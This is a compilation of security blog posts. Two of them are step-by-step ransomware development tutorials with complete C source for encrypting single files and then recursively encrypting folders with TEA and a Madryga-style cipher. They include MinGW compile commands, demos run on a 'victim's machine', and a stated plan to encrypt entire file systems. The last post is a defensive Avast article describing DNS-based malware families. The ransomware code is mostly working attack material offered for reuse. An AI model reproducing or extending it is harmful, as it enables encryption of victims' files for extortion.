    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

Then, next piece of code implemented encryption and decryption functions for data using a simple block cipher madryga_encrypt and madryga_decrypt. It operates on the data in blocks of 8 bytes, with a padding mechanism for the case when the data length is not a multiple of 8:

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

Let’s break down the encryption code step by step:

  • It takes a pointer to data and its length data_len.
  • It converts the data pointer to a uint32_t* for 32-bit (4-byte) block processing.
  • It processes the data in blocks of 8 bytes using madryga_encrypt function.
  • The loop increments the pointer by 2 to move to the next 8-byte block.
  • If there are remaining bytes (not a multiple of 8), it pads the remaining bytes with 0x90 and encrypts the padded block.

Finally, I implemented file encryption and decryption logic:

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file with Madryga algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>

#define ROUNDS 16

typedef uint32_t u32;

u32 key[4] = {0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F};

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

int main() {
  encrypt_file("test.txt", "test-enc.bin");
  decrypt_file("test-enc.bin", "test-dec.txt");
  return 0;
}

As you can see, for test I just encrypt file test.txt and decrypt it.

demo

Let’s compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

As a result, two new files test-enc.bin and test-dec.txt were created.

cryptography

cryptography

cryptography

As we can see, everything is wokred perfectly! =^..^=

practical example 2

But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.

Also ransomware recursive encrypt folders, it might look something like this:

void handleFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("Error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      handleFiles(filePath);
    } else {
      // Process individual files
      printf("file: %s\n", filePath);
      char encryptedFilePath[MAX_PATH];
      sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
      encrypt_file(filePath, encryptedFilePath);
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:

void decryptFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      decryptFiles(filePath);
    } else {
      // Process individual files
      if (strstr(fileName, ".bin") != NULL) {
        printf("File: %s\n", filePath);
        char decryptedFilePath[MAX_PATH];
        sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
        decrypt_file(filePath, decryptedFilePath);
      }
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

demo 2

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

cryptography

cryptography

cryptography

Let’s check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted:

cryptography

As you can see our simple PoC is worked perfectly.

Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.

In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Madryga
Malware AV/VM evasion part 13
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 23: encrypt/decrypt file via TEA. Simple C/C++ example.

25 December 2023 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

With today’s post I want to start a series of my new research, I will be developing different versions of the ransomware malware with different algorithms from cryptography.

I will do this step by step, so perhaps I will post some things, tricks and techniques in a separate articles.

practical example

I’ll go straight to a practical example, the logic of which is quite simple, encrypting one file and decrypting it.

Encryption function:

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

and decryption function:

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

This code encrypts the input file using TEA with the specified key, decrypt with TEA.

Another important part of the code adds padding to the last block if the file size is not a multiple of the TEA block size:

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

So, I tested this for one file test.txt

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

Ok, full source code is hack.c:

/*
 * hack.c
 * encrypt/decrypt file with TEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/12/25/malware-cryptography-23.html
*/
#include <windows.h>
#include <stdio.h>

#define KEY_SIZE 16
#define ROUNDS 32
#define TEA_BLOCK_SIZE 8

void tea_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = 0;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void tea_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = delta * ROUNDS;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void removePadding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("Invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("Error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);
  }
}

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

demo

Let’s move on to demonstrating how this example works.

First of all, my test.txt file:

cryptography

Then, compile our malware:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Run it in the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

Let’s check two files test.txt and test.txt.tea.decrypted:

cryptography

As we can see, everything is wokred perfectly! =^..^=

In the following parts I will implement the logic for encrypting folders and files and then the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

TEA
Malware AV/VM evasion part 12
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Opening a new front against DNS-based threats

14 December 2023 at 17:25

Domain Name System (DNS) is a hierarchical decentralized naming system for numerous network devices connected to the internet or a private network. Its primary function is to translate user-friendly domain names, such as www.avast.com, into numerical IP addresses that devices use to identify each other on a network.

When a domain name is entered into a web browser, the computer first checks its local cache to see if it already knows the corresponding IP address. If the IP address is not found locally, the computer queries a DNS resolver. This resolver could be an Internet Service Provider (ISP) or a third-party service like Google’s 8.8.8.8. The resolver then checks its cache. If the IP address is not found, it acts as a client and queries the root DNS servers (in case of recursive resolvers).

As with basically any other technology, however, this system can also become a target of malicious actors. Let’s look at how Avast can protect users against various DNS threats, showcasing a few notorious malware families.

How DNS threats work

There are multiple ways in which threat actors can leverage DNS to carry out attacks. It is also out of the scope of this text to describe all the existing techniques in detail. However, we will provide a brief introduction to DNS threat landscape so that the reader can imagine how attacks like these work and why the threat actors are interested in such vectors.

Rogue/malicious DNS servers are specifically set up by threat actors to intercept and manipulate DNS queries. When a device queries DNS, the rogue DNS server can then respond with incorrect or malicious IP addresses, redirecting legitimate traffic to malicious destinations.

DNS tunneling is a technique where attackers use DNS protocols to encapsulate non-DNS traffic. This communication can be two-way directional, meaning both requests as well as responses can be encapsulated. This communication is usually used (but is not limited) for exchanging malware commands with a Command & Control (C2) server, and/or exfiltrating data from the victims.

DNS cache poisoning, also known as DNS spoofing, is a technique where attackers manipulate the DNS cache of a resolver, introducing false mappings between domain names and IP addresses. By injecting false DNS records into the cache, attackers usually redirect users to malicious sites where they are then able to intercept sensitive information. With this ability, they can perform man-in-the-middle (MitM) attacks. This technique can be also particularly dangerous, since with a successful spoofing taking place, the domains look legitimate to the user – the domain names are the same as the user is used to – though they lead to a different server, using the different IP address.

DNS fast fluxing is based on rapidly and regularly changing the IP addresses for a domain in the DNS records, making it more difficult to track and block the attackers’ infrastructure. Usually, the attackers either have a set of compromised servers/botnet that they can use, or they use a specific approach for changing the IP addresses, behaving similarly to a more traditional domain generation algorithm (DGA).

Why do attackers do it?

The reasons why attackers do this type of attack vary based on their techniques, as well as their intents. However, we can sum up the malicious purposes into these short points:

  • The malware can receive commands and instructions, enabling two-way communication 
  • The threat actor can deploy an additional payload onto the infected device 
  • Information stealers can exfiltrate sensitive data from the infected device 
  • The communication is more obfuscated, rendering it more difficult to track properly 
  • The communication is usually enabled by default, since the traffic operates on a common port 53 
  • The traffic may bypass traditional AVs and gateways due to the possible lack of monitoring and scanning

Threats in the wild

The number of malware families leveraging DNS to carry out malicious activity is increasing. At Avast, we keep up with the current trends and, with our DNS scanning feature, we provide robust protection even against these kinds of attacks.

Let’s peek under the hood of a couple of advanced malware families that leverage DNS for distributing additional payloads and obfuscating the communication with Command & Control (C2) servers.

ViperSoftX

ViperSoftX is a long-standing information stealer. Reaching back at least to 2020, it is mostly bundled with software from unofficial sources and cracks, commonly distributed over torrents. Its wide capabilities, which are to this day intensively developed and improved, go from stealing cryptocurrencies, clipboard swapping, fingerprinting the infected device, downloading and executing additional payloads, to further deploying a malicious browser extension called VenomSoftX

One of the features the malware authors also implemented is querying the DNS database to retrieve a TXT response from a registered C2 domain. This TXT record contains an execution command to download further malware stages. We can demonstrate this behavior ourselves by using nslookup on the malicious domain. 

DNS TXT record containing a PowerShell command

This command, returned in the form of a DNS TXT response, downloads an additional payload from microsoft-analyse[.]com. The file last.txt contains an obfuscated PowerShell script, carrying further malware stage when executed.

Payload script downloaded from the DNS TXT response script

DarkGate

Also known as MehCrypter and Meh, DarkGate is another advanced information stealer. This stealer, these days weaponized as malware-as-a-service (MaaS), continues to add new features to its operations. 

Alongside features like keylogging, stealing clipboard contents as well as cryptocurrency wallets, and RAT capabilities, DarkGate can also make DNS requests to query DNS TXT responses. 

Currently, one of the distribution methods starts as phishing (e.g., in a form of a PDF), with the document stating it cannot be loaded properly and the user needs to click on an “Open this document” button. This action downloads a ZIP archive, containing a LNK file with an icon of a PDF (Adobe Reader). However, after opening this LNK file, the malware will instead execute a command making a DNS request, reading the TXT field from the response.

Command executed from a LNK file, performing a DNS query

After the Taste.cmd script is downloaded and executed, a further series of commands is executed, deploying the DarkGate information stealer on the infected machine.

Taste.cmd script (beautified), an intermediary that ensures the execution of DarkGate

DirtyMoe

Since 2016, the notorious DirtyMoe malware has been infecting victims all over the world, focusing the most on Asia and Africa. This multi-modular backdoor is equipped with a variety of functionalities, ranging from exploiting network protocols, cryptojacking, performing DDoS attack, leveraging rootkit capabilities, and much more. 

This is further underlined by DirtyMoe’s sophisticated network communication. The malware makes DNS queries using a predefined list of DNS servers and retrieves a list of IP addresses for a single domain in the A records fields. However, these IP addresses, even though semantically correct, are artificial and they either do not exist or they are not pointing to the actual addresses desired by the malware. The real IP addresses are instead derived from these A records by an additional algorithm. Each of these derived IP addresses is then tried, one of them being the real C2 server. 

Finally, the list of the A records also changes rapidly and regularly. This DNS fast fluxing technique further obfuscates the real C2 servers from the fake addresses, making the whole malware communication even more opaque for the defenders. 

In the example below, the malicious server rpc[.]1qw[.]us provides a list of IP addresses (A records). However, these IP addresses are artificial, and they are used for further derivation of the real IP addresses.

DNS records are changed rapidly and regularly

Crackonosh

Similar to ViperSoftX, Crackonosh is distributed along with illegal, cracked copies of popular software. If the unsuspecting victim installs such cracked software, they inadvertently deploy an XMRig coinminer onto their system, leveraging its resources to profit the attackers. 

Crackonosh contains a lot of advanced techniques, such as disabling antivirus software and Windows Update, as well as performing other anti-detection and anti-forensic actions. 

